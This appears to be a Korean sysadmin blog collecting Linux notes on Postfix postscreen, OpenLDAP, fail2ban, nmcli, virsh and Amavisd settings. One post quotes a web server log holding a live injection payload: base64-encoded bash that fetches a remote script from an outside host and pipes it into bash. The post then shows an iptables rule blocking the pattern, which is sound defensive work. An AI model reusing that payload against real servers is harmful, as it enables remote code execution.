레이블이 Linux인 게시물을 표시합니다. 모든 게시물 표시
레이블이 Linux인 게시물을 표시합니다. 모든 게시물 표시

2026년 1월 30일 금요일

[Linux] Postfix에 PostScreen 설정

 

1단계: master.cf 수정 (서비스 활성화)

/etc/postfix/master.cf 파일을 열어 기존의 smtp 서비스를 비활성화하고, postscreen을 활성화해야 합니다.

  1. 기존 smtp 주석 처리:
    기존에 25번 포트를 열고 있던 줄을 찾아 앞에 #을 붙여 비활성화합니다.

    #smtp      inet  n       -       y       -       -       smtpd
  2. Postscreen 및 관련 서비스 활성화:
    아래 내용의 주석(#)을 해제하거나 새로 추가합니다.

    • smtp: 이제 Postscreen이 25번 포트를 담당합니다.
    • smtpd: Postscreen을 통과한 접속을 처리할 내부 서비스입니다.
    • dnsblog: DNS 블랙리스트 조회를 비동기로 처리합니다.
    • tlsproxy: Postscreen 단계에서 STARTTLS 지원을 위해 필요합니다.
    # Postscreen이 25번 포트 수신
    smtp      inet  n       -       y       -       1       postscreen
    
    # Postscreen 검사를 통과한 연결을 넘겨받을 smtpd
    smtpd     pass  -       -       y       -       -       smtpd
    
    # DNS 조회 및 TLS 처리를 위한 보조 서비스
    dnsblog   unix  -       -       y       -       0       dnsblog
    tlsproxy  unix  -       -       y       -       0       tlsproxy

2단계: main.cf 수정 (정책 설정)

/etc/postfix/main.cf 파일을 열어 Postscreen이 어떤 테스트를 수행하고 어떻게 차단할지 설정합니다.

아래 설정을 파일 하단에 추가합니다.

1. 기본 설정 및 화이트리스트

# === Postscreen 설정 ===

# 내 네트워크(mynetworks)는 검사에서 제외 (즉시 통과)
postscreen_access_list = permit_mynetworks

# 캐시 유지 시간 (검증된 IP를 기억하는 시간)
postscreen_cache_map = proxymap:btree:$data_directory/postscreen_cache
postscreen_cache_cleanup_interval = 12h

2. 좀비 PC 탐지 (Pre-greet, Protocol)

스팸 봇들이 자주 하는 "인사 먼저 하기(Pre-greet)"나 "명령어 쏟아붓기(Pipelining)"를 차단합니다. enforce는 차단을 의미합니다.

# 서버 인삿말(Banner)을 보내기도 전에 떠드는 놈 차단
postscreen_greet_action = enforce

# SMTP 프로토콜 위반 검사 (Pipelining, Non-SMTP command 등)
postscreen_pipelining_enable = yes
postscreen_pipelining_action = enforce

postscreen_non_smtp_command_enable = yes
postscreen_non_smtp_command_action = drop

postscreen_bare_newline_enable = yes
postscreen_bare_newline_action = enforce

3. DNSBL (DNS 블랙리스트) 설정 (가장 중요)

접속한 IP가 스팸 리스트에 있는지 확인합니다. 점수제를 사용하여 오탐을 줄입니다.

# DNSBL 사이트 설정 (예시: Zen Spamhaus, Barracuda)
# 이름=IP주소*가중치 형식입니다.
# 주의: Spamhaus 등은 상업적 이용 시 유료일 수 있으므로 라이선스 확인 필요
postscreen_dnsbl_threshold = 2
postscreen_dnsbl_sites = 
    zen.spamhaus.org*2
    b.barracudacentral.org*1
    bl.spamcop.net*1

# 블랙리스트에 걸렸을 때 동작 (enforce: 거부 응답 보냄 / drop: 연결 끊음)
postscreen_dnsbl_action = enforce

3단계: 적용 및 확인

  1. 설정 검사:
    오타가 없는지 확인합니다.

    postfix check
  2. Postfix 재시작:

    service postfix reload
    # 또는
    systemctl reload postfix
  3. 로그 확인:
    /var/log/mail.log (또는 /var/log/maillog)를 실시간으로 확인하여 작동 여부를 봅니다.

    tail -f /var/log/mail.log
    • PASS: 검사를 통과하여 smtpd로 넘겨진 경우 (PASS OLD는 캐시된 IP, PASS NEW는 새로 검증된 IP).
    • NOQUEUE: Postscreen에 의해 차단된 경우 (예: protocol violation, DNSBL rank ...).

팁 (주의사항)

  • 초기 적용 시: 처음에는 action 값들을 enforce 대신 **ignore**로 설정하여 며칠간 로그만 모니터링하는 것이 좋습니다. 정상적인 메일 서버가 차단되는지 확인한 후 enforce로 바꾸는 것이 안전합니다.
  • DNSBL 사용: zen.spamhaus.org는 매우 강력하지만, 무료 사용량 제한이 있거나 특정 DNS 서버(Google 8.8.8.8 등)를 통해 조회하면 차단될 수 있습니다. 본인의 환경에 맞는 DNSBL을 사용하세요.

2026년 1월 12일 월요일

[AIX] sftp 자동 접속 스크립터

AIX에서 sftp 자동 접속 스크립터 

 

# cat sftp.sh
expect << EOF

set timeout 120
spawn sftp -oport=22 $2@$1

expect {
"yes/no" { send "yes\r"; exp_continue}
"password:" { send "$3\r" }
}

    expect "sftp>" { send "cd $4\r"}
    expect "sftp>" { send "put $5$6\r"}
    expect "sftp>" { send "ls -l $6\r"}
    expect "sftp>" { send "!ls -l $5$6\r"}
    expect "sftp>" { send "bye\r"}
    expect eof

EOF
 

2025년 6월 23일 월요일

[Linux] Rocky9에 Openldap 설치 및 조직 설정

 

1. 관련 프로그램 설치 

기본 레파지토리에는 openldap-servers가 존재하지 않으므로 레피지토리에 추가

#  dnf config-manager --set-enabled plus

# dnf repolist 





# dnf update

# dnf -y install openldap openldap-servers openldap-clients

# systemctl enable slapd

# systemctl start slapd

# firewall-cmd --permanent --add-service={ldap,ldaps}

# firewall-cmd --reload

 

2. 관리자 패스워드 설정 

#  slappasswd

New password : *******

Re-enter new password : *******  

 {SSHA}***********************************  <--복사필요

# vi admin_pass.ldif 

dn: olcDatabase={2}mdb,cn=config
changetype: modify
replace: olcRootPW
olcRootPW: {SSHA}***********************************  <--위화면 패스워드 붙여넣기

# ldapadd -Y EXTERNAL -H ldapi:/// -f admin_pass.ldif   <--루트 패스워드를 변경함.




 

3. Base DN을 설정 

# vi base_structure.ldif 

 # base_structure.ldif
dn: olcDatabase={2}mdb,cn=config
changetype: modify
replace: olcSuffix
olcSuffix: dc=example,dc=com

dn: olcDatabase={2}mdb,cn=config
changetype: modify
replace: olcRootDN
olcRootDN: cn=admin,dc=example,dc=com

# ldapadd -Y EXTERNAL -H ldapi:/// -f base_structure.ldif <--적용 

 

4. 기본 스키마 로드 

# ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/cosine.ldif
# ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/nis.ldif
# ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/inetorgperson.ldif


 

5. 기본 조직 설정

# vi initial_org.ldif

# 조직의 루트 DIT(Directory Information Tree) 항목 정의
# dc=example,dc=com은 설치 시 설정한 기본 도메인에 맞춰 변경해야 합니다.
dn: dc=example,dc=com
objectClass: top
objectClass: dcObject
objectClass: organization
o: My Company
description: My Company's main LDAP directory

# 사용자들을 위한 조직 구성 단위(OU) 정의
dn: ou=users,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: users
description: All user accounts in My Company

# 그룹들을 위한 조직 구성 단위(OU) 정의
dn: ou=groups,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: groups
description: All user groups in My Company

# 부서들을 위한 조직 구성 단위(OU) 정의
dn: ou=departments,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: departments
description: Departments within My Company

# IT 부서 OU 정의 (부서 OU 아래에 위치)
dn: ou=IT,ou=departments,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: IT
description: Information Technology Department

# HR 부서 OU 정의 (부서 OU 아래에 위치)
dn: ou=HR,ou=departments,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: HR
description: Human Resources Department

 

ldapadd -x -W -D "cn=admin,dc=example,dc=com" -f initial_org.ldif 


※ 패스워드는 이전에 설정한 관리자 패스워드를 입력 

 

 

6. Base Dn : cn=admin,dc=example,dc=com  , 관리자 패스워드 사용하여 관리 가능

 -  사용자 추가(HR 부서의 홍길동)

# slappassword  <--사용할 패스워드의 해시값으로 변환

New password: 홍길동
Re-enter new password: 홍길동
{SSHA}48cA5xSMTaz61+xo46Ek17DC07rapLtJ   <-- 해시값 복사

 # vi add_hong.ldif

 dn: uid=honggildong,ou=HR,ou=departments,dc=example,dc=com
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
cn: 홍길동
sn: 홍
givenName: 길동
mail: hong.gildong@example.com  
uid: honggildong
userPassword: {SSHA}48cA5xSMTaz61+xo46Ek17DC07rapLtJ

 

ldapadd -x -D "cn=admin,dc=example,dc=com" -W -f add_hong.ldif  



- Apache Directory Studio 프로그램에서 보면 정상적으로 추가되었음을 볼 수 있음.


 

만약 HR부서에 속한 인원을 조회시

# ldapsearch -x -b  "ou=HR,ou=departments,dc=example,dc=com" "(objectClass=person)" cn

인증이 필요한 경우

#  ldapsearch -x -D "cn=admin,dc=example,dc=com" -W -b "ou=IT,dc=example,dc=com" "(objectClass=person)" cn

  -x : 간편 인증 / -W 비밀번호 묻기

  -b : 검색 기준(Base DN)

  -D : Bind DN 로그인 계정 주소 

  (objectClass=Person) : 인원객체를 검색(추가 검색 조건 추가가능

   ex>이름(cn)이 홍길동일 경우 (&(objectClass=Person)(cn=홍길동))

  cn : 조회결과 속성

 

메일링 그룹을 만들시 goupofNames 또는  groupOfUniqueNames 객체를 사용하여 구성

 # vi group.ldif

dn: cn=all-users,ou=Groups,dc=example,dc=com
objectClass: top
objectClass: groupOfNames
cn: all-users
description: All Users Mailing List
member: cn=John Doe,ou=IT,dc=example,dc=com
member: cn=Jane Smith,ou=HR,dc=example,dc=com
member: cn=Alice Kim,ou=Finance,dc=example,dc=com 

# ldapadd -x -D "cn=admin,dc=example,dc=com" -W -f group.ldif

그룹 멤버 추가 방법

1. 매뉴얼로 수정 처리하는 방법

 - 스크립터로 구성 가능 

 ldapsearch -x -b "dc=example,dc=com" "(objectClass=person)" dn | grep "^dn:" | awk '{print "member: "$2}''

실행시 멤버 대상으로 생성되며 이를  LDIF로 만들어 생성할 수 있음.

 

2. 특정 그룹에 포함된 모든 대상자를 자동 포함시

- 추가 스키마가 필요하므로 추가 

# ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/dyngroup.ldif

 -  vi group.ldif

dn: cn=all-users,ou=Groups,dc=example,dc=com
objectClass: groupOfURLs
cn: all-users
memberURL: ldap:///dc=example,dc=com??sub?(objectClass=person)
description: All Users Mailing List 

# ldapadd -x -D "cn=admin,dc=example,dc=com" -W -f group.ldif 


Postfix와 연동시

 /etc/postfix/ldap-groups.cf 

server_host = ldap://localhost
search_base = ou=Groups,dc=example,dc=com
query_filter = (cn=%s)
result_attribute = member
bind = yes
bind_dn = cn=admin,dc=example,dc=com
bind_pw = yourpassword 

 

 main.cf에 적용

virtual_alias_maps = ldap:/etc/postfix/ldap-groups.cf 

a11-user@example.com으로 이메일 전송시 해당 멤버에게 자동으로 이메일 전송됨. 

2024년 11월 25일 월요일

[LINUX] 로그 메세지 한도 조정 처리


로그에 아래와 같은 반복 메세지가 표시됨.

imjournal: XXX messages lost due to rate-limiting (20000 allowed within 600 seconds) : 1 Times
짧은 시간에 너무 많은 로그가 쌓여 발생되는 오류로 로그 설정상의 한도를 올려줌.
# vi /etc/rsyslog.conf
$imjournalRatelimitInterval 0
$imjournalRatelimitBurst 0

2024년 5월 30일 목요일

[LDAP]_LDAP 명령어

 

Ldap 명령어
 # ldapsearch -x -D 'cn=vmail,dc=xxxx,dc=xx' -H 'ldap://xx.xx.xx.xx:389' -W -b 'o=domains,dc=xxxx,dc=xx' '(domainName=*)'
 -D 'cn=.....' : 조회를 위한 사용자 정보
 -H 'ldap....' : 로그인 서버 정보
 -b 'o=domains,dc=xxxx,dc=xx' '(domainName=*)'   : 조회시작지점과 조회 조건


Enter LDAP Password:
# extended LDIF
#
# LDAPv3
# base <o=domains,dc=qnct,dc=cn> with scope subtree
# filter: (domainName=*)
# requesting: ALL
#

# xxxx.xx, domains, xxxx.xx
dn: domainName=xxxx.xx,o=domains,dc=xxxx,dc=xx
objectClass: mailDomain
domainName: xxxx.xx
mtaTransport: dovecot
accountSetting: minPasswordLength:8
accountSetting: defaultQuota:1024
enabledService: mail
cn: xxxxxxxxxxxxxxxxxxxxxxxx
accountStatus: active
domainCurrentUserNumber: 194
domainCurrentQuotaSize: 1887436800

# xxx.xxx, domains, xxxx.xx
dn: domainName=xxx.xxx,o=domains,dc=xxxx,dc=xx
objectClass: mailDomain
domainName: xxx.xxx
mtaTransport: dovecot
enabledService: mail
accountSetting: minPasswordLength:8
cn: xxxxxxxx
accountStatus: active
domainCurrentUserNumber: xxx
domainCurrentQuotaSize: 1153433600

# search result
search: 2
result: 0 Success

# numResponses: 3
# numEntries: 2


* LDAP로 항목 추가하기(빨간색이 입력하는 내용임)

# ldapmodify -a -D cn=Manager,dc=xxxx,dc=xx -W -H ldap://xxx.xxx.xxx.xxx:389 -x
Enter LDAP Password: xxxxxxxxxx
dn: mail=xxxx@xxxx.xxx,ou=Users,domainName=xxxx.xxx,o=domains,dc=xxxx,dc=xxx
changetype: modify
add: mailForwardingAddress
mailForwardingAddress: xxxx@xxxx.xxx

<--엔터를 쳐야 modify 메세지가 보임
modifying entry "mail=xxxx@xxxx.xxx,ou=Users,domainName=xxxx.xxx,o=domains,dc=xxxx,dc=xxx"





2024년 1월 24일 수요일

[Linux] Iptables로 특정 텍스트 포함시 차단하기

 [출처 : https://jinane.tistory.com/ ]

 

외부에 열어 놓은 웹서버에 아래와 같은 로그가 여러 외부 IP에서 접속 이력 존재함

[Wed Jan 24 08:16:00.698387 2024] [core:error] [pid 184842] (36)File name too long: [client xxx.xxx.xxx.xxx:37814] AH00036: access to /${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','echo dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw+Ii9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA+JjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM+Ji0KfQp2dXJsIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai93LnNofGJhc2gK|base64 -d|bash').start()")}/ failed (filesystem path '/home/sapapi/public_html/${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','echo dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw+Ii9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA+JjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM+Ji0KfQp2dXJsIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai93LnNofGJhc2gK|base64 -d|bash').start()")}')
 

로그 메세지상에 특정 텍스트 포함시 차단을 진행함.

#  iptables -I INPUT -p tcp --dport 80 -m string --string "javax.script.ScriptEngineManager" --algo bm -j DROP

2023년 12월 14일 목요일

[Linux]_Boot 파티션 용량 full 해결법(Rocky linux)

  [ 출처 :  https://www.centlinux.com/ ]

 

리눅스는 기본적으로 과거 커널을 5개까지 보관하고 있는데 이로 인하여 /Boot 파티션 용량이 full이 되면서 업데이트가 되지 않는 경우가 발생함.

# cat /etc/yum.conf  <--아래 보관횟수 확인 가능

[main]
gpgcheck=1
installonly_limit=3
clean_requirements_on_remove=True
best=True
skip_if_unavailable=False

# rpm -q kernel  <--설치된 kernel 확인
kernel-5.14.0-162.6.1.el9_1.0.1.x86_64
kernel-5.14.0-284.25.1.el9_2.x86_64
kernel-5.14.0-284.30.1.el9_2.x86_64

# grubby --default-kernel  <-- 사용중인 kernel 확인
/boot/vmlinuz-5.14.0-284.30.1.el9_2.x86_64

* 과거 커널을 삭제 하는 방법

# dnf -y remove --oldinstallonly --setopt installonly_limit=2 kernel
Dependencies resolved.
==============================================================================================================================================================================================
 Package                                           Architecture                         Version                                                Repository                                Size
==============================================================================================================================================================================================
Removing:
 kernel                                            x86_64                               5.14.0-162.6.1.el9_1.0.1                               @anaconda                                  0
 kernel                                            x86_64                               5.14.0-284.25.1.el9_2                                  @baseos                                    0
 kernel-core                                       x86_64                               5.14.0-162.6.1.el9_1.0.1                               @anaconda                                 84 M
 kernel-core                                       x86_64                               5.14.0-284.25.1.el9_2                                  @baseos                                   56 M
 kernel-devel                                      x86_64                               5.14.0-162.6.1.el9_1.0.1                               @AppStream                                60 M
 kernel-devel                                      x86_64                               5.14.0-284.25.1.el9_2                                  @appstream                                63 M
 kernel-modules                                    x86_64                               5.14.0-162.6.1.el9_1.0.1                               @anaconda                                 31 M
 kernel-modules                                    x86_64                               5.14.0-284.25.1.el9_2                                  @baseos                                   33 M
 kernel-modules-core                               x86_64                               5.14.0-284.25.1.el9_2                                  @baseos                                   31 M

Transaction Summary
==============================================================================================================================================================================================
Remove  9 Packages

Freed space: 357 M
Running transaction check
Transaction check succeeded.
Running transaction test
Transaction test succeeded.
Running transaction
  Preparing        :                                                                                                                                                                      1/1
  Erasing          : kernel-5.14.0-284.25.1.el9_2.x86_64                                                                                                                                  1/9
  Running scriptlet: kernel-5.14.0-284.25.1.el9_2.x86_64                                                                                                                                  1/9
  Erasing          : kernel-modules-5.14.0-284.25.1.el9_2.x86_64                                                                                                                          2/9
  Running scriptlet: kernel-modules-5.14.0-284.25.1.el9_2.x86_64                                                                                                                          2/9
  Erasing          : kernel-5.14.0-162.6.1.el9_1.0.1.x86_64                                                                                                                               3/9
  Running scriptlet: kernel-5.14.0-162.6.1.el9_1.0.1.x86_64                                                                                                                               3/9
  Erasing          : kernel-modules-5.14.0-162.6.1.el9_1.0.1.x86_64                                                                                                                       4/9
  Running scriptlet: kernel-modules-5.14.0-162.6.1.el9_1.0.1.x86_64                                                                                                                       4/9
  Erasing          : kernel-modules-core-5.14.0-284.25.1.el9_2.x86_64                                                                                                                     5/9
  Running scriptlet: kernel-modules-core-5.14.0-284.25.1.el9_2.x86_64                                                                                                                     5/9
  Running scriptlet: kernel-core-5.14.0-284.25.1.el9_2.x86_64                                                                                                                             6/9
  Erasing          : kernel-core-5.14.0-284.25.1.el9_2.x86_64                                                                                                                             6/9
warning: file /lib/modules/5.14.0-284.25.1.el9_2.x86_64/modules.builtin.modinfo: remove failed: No such file or directory
warning: file /lib/modules/5.14.0-284.25.1.el9_2.x86_64/modules.builtin: remove failed: No such file or directory

  Running scriptlet: kernel-core-5.14.0-284.25.1.el9_2.x86_64                                                                                                                             6/9
  Running scriptlet: kernel-core-5.14.0-162.6.1.el9_1.0.1.x86_64                                                                                                                          7/9
  Erasing          : kernel-core-5.14.0-162.6.1.el9_1.0.1.x86_64                                                                                                                          7/9
  Running scriptlet: kernel-core-5.14.0-162.6.1.el9_1.0.1.x86_64                                                                                                                          7/9
  Erasing          : kernel-devel-5.14.0-284.25.1.el9_2.x86_64                                                                                                                            8/9
  Erasing          : kernel-devel-5.14.0-162.6.1.el9_1.0.1.x86_64                                                                                                                         9/9
  Running scriptlet: kernel-devel-5.14.0-162.6.1.el9_1.0.1.x86_64                                                                                                                         9/9
  Verifying        : kernel-5.14.0-162.6.1.el9_1.0.1.x86_64                                                                                                                               1/9
  Verifying        : kernel-5.14.0-284.25.1.el9_2.x86_64                                                                                                                                  2/9
  Verifying        : kernel-core-5.14.0-162.6.1.el9_1.0.1.x86_64                                                                                                                          3/9
  Verifying        : kernel-core-5.14.0-284.25.1.el9_2.x86_64                                                                                                                             4/9
  Verifying        : kernel-devel-5.14.0-162.6.1.el9_1.0.1.x86_64                                                                                                                         5/9
  Verifying        : kernel-devel-5.14.0-284.25.1.el9_2.x86_64                                                                                                                            6/9
  Verifying        : kernel-modules-5.14.0-162.6.1.el9_1.0.1.x86_64                                                                                                                       7/9
  Verifying        : kernel-modules-5.14.0-284.25.1.el9_2.x86_64                                                                                                                          8/9
  Verifying        : kernel-modules-core-5.14.0-284.25.1.el9_2.x86_64                                                                                                                     9/9

Removed:
  kernel-5.14.0-162.6.1.el9_1.0.1.x86_64            kernel-5.14.0-284.25.1.el9_2.x86_64        kernel-core-5.14.0-162.6.1.el9_1.0.1.x86_64     kernel-core-5.14.0-284.25.1.el9_2.x86_64
  kernel-devel-5.14.0-162.6.1.el9_1.0.1.x86_64      kernel-devel-5.14.0-284.25.1.el9_2.x86_64  kernel-modules-5.14.0-162.6.1.el9_1.0.1.x86_64  kernel-modules-5.14.0-284.25.1.el9_2.x86_64
  kernel-modules-core-5.14.0-284.25.1.el9_2.x86_64

Complete!

 

Centos는 아래 링크 참조

https://www.runit.cloud/

 

2023년 10월 20일 금요일

[Linux]_VSFTP 로그 파일 포맷

 [ 출처 : https://docs.oracle.com/ ]


The xferlog file contains transfer logging information from the FTP Server, in.ftpd(1M). You can use the logfile capability to change the location of the log file. See ftpaccess(4).

Each server entry is composed of a single line of the following form. All fields are separated by spaces.

current-time  transfer-time    remote-host  file-size  filename  
transfer-type  special-action-flag  direction access-mode  username
service-name  authentication-method  authenticated-user-id completion-status

The fields are defined as follows:

current-time

    The current local time in the form DDD MMM dd hh:mm:ss YYYY, where:

    DDD    :    Is the day of the week
    MMM   :    Is the month
    dd        :    Is the day of the month
    hh        :     Is the hour
    mm      :     Is the minutes
    ss        :     Is the seconds
    YYYY   :     Is the year

transfer-time
    The total time in seconds for the transfer

remote-host
    The remote host name

file-size
    The number of bytes transferred

filename
    The name of the transferred file

transfer-type
    A single character indicating the type of transfer:
    a   :     Indicates an ascii transfer
    b   :     Indicates a binary transfer

special-action-flag
    One or more single character flags that indicate any special action taken. The special-action-flag can have one of more of the following values:
    C   :    File was compressed
    U   :    File was uncompressed
    T   :    File was archived, for example, by using tar(1)

    _ (underbar)
        No action was taken.

direction
    The direction of the transfer. direction can have one of the following values:
    o   :   Outgoing
    i    :    Incoming

access-mode
    The method by which the user is logged in. access-mode can have one of the following values:
    a   :    For an anonymous user.
    g   :    For a passworded guest user. See the description of the guestgroup capability in ftpaccess(4).
    r   :     For a real, locally authenticated user

username
    The local username, or if anonymous, the ID string given

service-name
    The name of the service invoked, usually ftp

authentication-method
    The method of authentication used. authentication-method can have one of the following values:
    0   :    None
    1   :    RFC 931 authentication

authenticated-user-id
    The user ID returned by the authentication method. A * is used if an authenticated user ID is not available.

completion-status
    A single character indicating the status of the transfer. completion-status can have one of the following values:
    c   :     Indicates complete transfer
    i    :     Indicates incomplete transfer


2023년 10월 19일 목요일

[Linux] fail2ban에서 차단된 IP 해제

 [ 출처 : https://blog.naver.com/]

# fail2ban-client postfix

 Status for the jail: postfix
|- Filter
|  |- Currently failed: 4
|  |- Total failed:     7
|  `- File list:        /var/log/maillog
`- Actions
   |- Currently banned: 0
   |- Total banned:     1
   `- Banned IP list: 121.xxx.xxx.x

로그에서 차단된 IP를 확인

# cat /var/log/fail2ban.log* | grep "] Ban"|awk '{print $NF}' | sort | uniq -c | sort -n

차단된 IP를 해제
# fail2ban-client set postfix unbanip 121.xxx.xxx.x

2023년 8월 17일 목요일

[Linux] Postfix 설정 관련 내용

 [ 출처 : https://ablog.jc-lab.net/ ]

설정상에 표시되는 내용 정리


permit_mynetworks : mynetworks에 정의된 네트워트로 들어오는 요청에 대하여 허용

permit_sasl_authenticated : sasl(아이디/비번) 인증된 사용자 허용

reject_sender_login_mismath : 보내는이(from Id)와 sasl 인증 사용자 다르면 거부

reject_non_fqdn_helo_hostname : 도메인 이름이 정규화된 이름 또는 리터럴 형식이 아닐 경우 거부(smtpd_helo_required=yes설정 필요)

reject_unknown_helo_hostname : 존재하지 않는 도메인(DNS A or MX)에서 보내온 메일은 거부

reject_unknown_hostname : 자신의 hostname을 모르는 메일 시스템은 거부

reject_unknown_sender_domain : 존재하지 않는 도메인 메일은 거부

reject _unauth_pipelining : pipelining 명령을 못 알아듯는 클라이언트 차단



2023년 6월 29일 목요일

[Linux]_네트워크 관리

 

[ 출처 : https://tpcable.co.kr/ , https://www.lesstif.com/ ]

네트워크 조회

# nmcli con show







네트워크 설정

# nmcli con mod "System eth0" ipv4.address 192.0.2.2/24 ipv4.gateway 192.0.2.254 ipv4.dns "8.8.8.8 168.126.63.1"

DHCP 활성화

# nmcli device modify "System eth0" ipv4.method auto

부팅시 자동 활성화

# nmcli con mod "System eth0" connection.autoconnect yes

 네트워크 재부팅

# systemctl restart NetworkManager.service 

디바이스 상태 확인(아이피 부여된 상태 전체 조회)

#nmcli device show

네트워크 온오프(유선/무선)

# nmcli net on/off      nmcli radio wifi on/off

네트워크 활성화

# nmcli connection up

 



[Linux] Rocky VM 명령어

 [ 출처 : https://techviewleo.com/ ]


리눅스 기존 가상 프로그램을 SSH상에서 조회 및 제어하는 방법임.

# virsh list --all






 

#Start VM
  virsh start VM_name

#Stop VM
  virsh stop VM_name

#Save current state of running VM
  virsh save VM_name VM_name_save

#Restore saved VM
  virsh restore VM_name_save

#Reboot
  virsh reboot VM_name

#Pause/Suspend VM
  virsh suspend VM_name

#Resume Suspended VM
 virsh resume VM_name

#Shutdown
  virsh shutdown VM_name

#Expunge
 virsh destroy VM_name

2023년 4월 13일 목요일

[Linux] XRDP로 접속 후 프로그램 실행 오류 발생

 [ 출처 : https://github.com/ ]


xrdp로 접속 후 프로그램 실행시 cannot open display 1 오류 발생

# systemctl set-default multi-user.target
# reboot


2022년 6월 29일 수요일

Amavisd 메일 필터 설정

 [ 참조 : https://linuking.com/ ]

Spamassassin score system

X-Spam-Status

스팸 스코어가 무슨 테스트로 인해 지정되었는지를 설명하고 있다.

아래 예는 No - 스팸 메시지가 아니다. hits=2.2 태그 레벨이 2.2로 HTMl, SPF 테스트를 수행했다는 의미를 포함하고 있다.

X-ASF-Spam-Status: No, hits=2.2 required=10.0   tests=HTML_MESSAGE,SPF_PASS

Amavisd 에서 spam filtering 수준 조절

Amavisd 를 이용해 원하는 태그, 아래와 같은 “spamminess” level 을 지정해 줄 수 있다.

 

$sa_tag_level_deflt= 2.0;

X-Spam-Status, X-Spam-Level 태그에 스팸 레벨을 지정한다. $sa_tag_level_deflt= undef; 로 지정하면 이 태그는 항상 추가된다.

 

$sa_tag2_level_deflt = 6.31;

스팸이란 판단의 경계 스코어 값이다.  이 값 이상의 스코어를 얻은 메시지는 스팸으로 인식되고 메시지 제목에 **** SPAM **** 이 추가된다. 6.31이라는 값은 너무 높은 것 같고 $sa_tag2_level_deflt = 5.0으로 사용해 보라.

 

$sa_kill_level_deflt = 6.31;

스팸 레벨이 이 값일 경우 Amavis에 의해 메일은 검역소로 보내지거나 특정 메일 박스로 간다. 또한 메시지의 “spamminess” level 을 정의해서 스팸 처리된 메일의 송신자는 Delivery Status Notification (DSN) 인 “your message was not delivered” 와 같은 이메일을 받을 수 있다. 단, $sa_dsn_cutoff_level value 이 스팸 레벨 이하로 설정되면 DSN 메시지는 보내지 않는다.

 

$sa_kill_level_deflt = 10000; 로 설정하면 스패머에게 메일 전송을 안하고 특정 메일박스에 복사하지도 않는다. 즉 사용자에게 특정한 문자가 추가된 메일을 전송하게 된다. 이 숫자는 10000을 넘지 않는게 좋겠다.

$sa_tag2_level_deflt 를 kill_level_deflt와 같은 값으로 설정하면 특정 메일박스로 가고 사용자에게 전송되지 않는다. 바로 이어서 “$spam_quarantine_to” 에 특정 이메일 주소를 명시해서 스팸으로 인식( 4개의 스팸 헤더, 제목 변경 혹은 검역소로 보내야하는)되는 메시지를 보내거나 이 값이 없다면 시스템의 검역소로 보내진다.

 

$sa_dsn_cutoff_level = 9;

DSN 메시지를 메일 발송자에게 전송하지 않는 스팸 레벨을 정의한다. You can leave it as it is, since we’ll not do any bouncing (see below the change from D_BOUNCE to D_DISCARD).

 

@bypass_virus_checks_maps = (1);

Anti-Virus 검증을 제외한다.

 

$sa_spam_subject_tag = '***SPAM*** ';

메일 메시지가 스팸으로 판정되면 메일 제목의 앞에 추가하는 문자열. 마지막 공백이 있음에 주의.

 

@local_domains_maps = ( [".$mydomain"] );

주어진 도메인을 Amavis 가 이메일을 스캔할 것을 정의. 아래와 같이 지역 도메인을 사용할 수 있다.

@local_domains_maps = ( [".$mydomain", "example2.com", "example3.com"] );

 

# $final_virus_destiny= D_DISCARD;

이 라인을 찾아 # 로 막았으면 제거한다. Amavis 가 검역소로 바이러스가 포함된 메시지를 전송한다 ( 특정한 이메일 박스, 시스템에 지정된 검역소  )

 

$final_*_destiny 의 값을 D_DISCARD 로 설정하면 메일 발송자에게 바이러스 차단에 대한 메시지를 전송하지 않는다.

 

$final_banned_destiny=D_DISCARD;

Amavis 가 금지된 파일을로 무엇을 할지 지정한다. D_DISCARD 로 지정하면 지정된 메일박스로 메시지를 전달할 수 이다.

기본은 D_BOUNCE.

Note: even if you leave this setting as is, i.e. commented out, double-extension files will still be blocked. This is an Amavis default.

 

$final_spam_destiny= D_DISCARD;

스팸 메일을 검역소로 보낸다 - $spam_quarantine_to 에 지정된 이메일 주소. 기본은 D_BOUNCE

 

 

$virus_admin= "virusalert@$mydomain";

바이러스 발견시 메시지를 전송할 관리자 이메일 postmaster 를 사용하자.

$virus_admin= "postmaster@$mydomain";

 

 

경고 등 관리자는 postmaster 를 이용하자:

$mailfrom_notify_admin= "postmaster@$mydomain";

$mailfrom_notify_recip= "postmaster@$mydomain";

$mailfrom_notify_spamadmin = "postmaster@$mydomain";

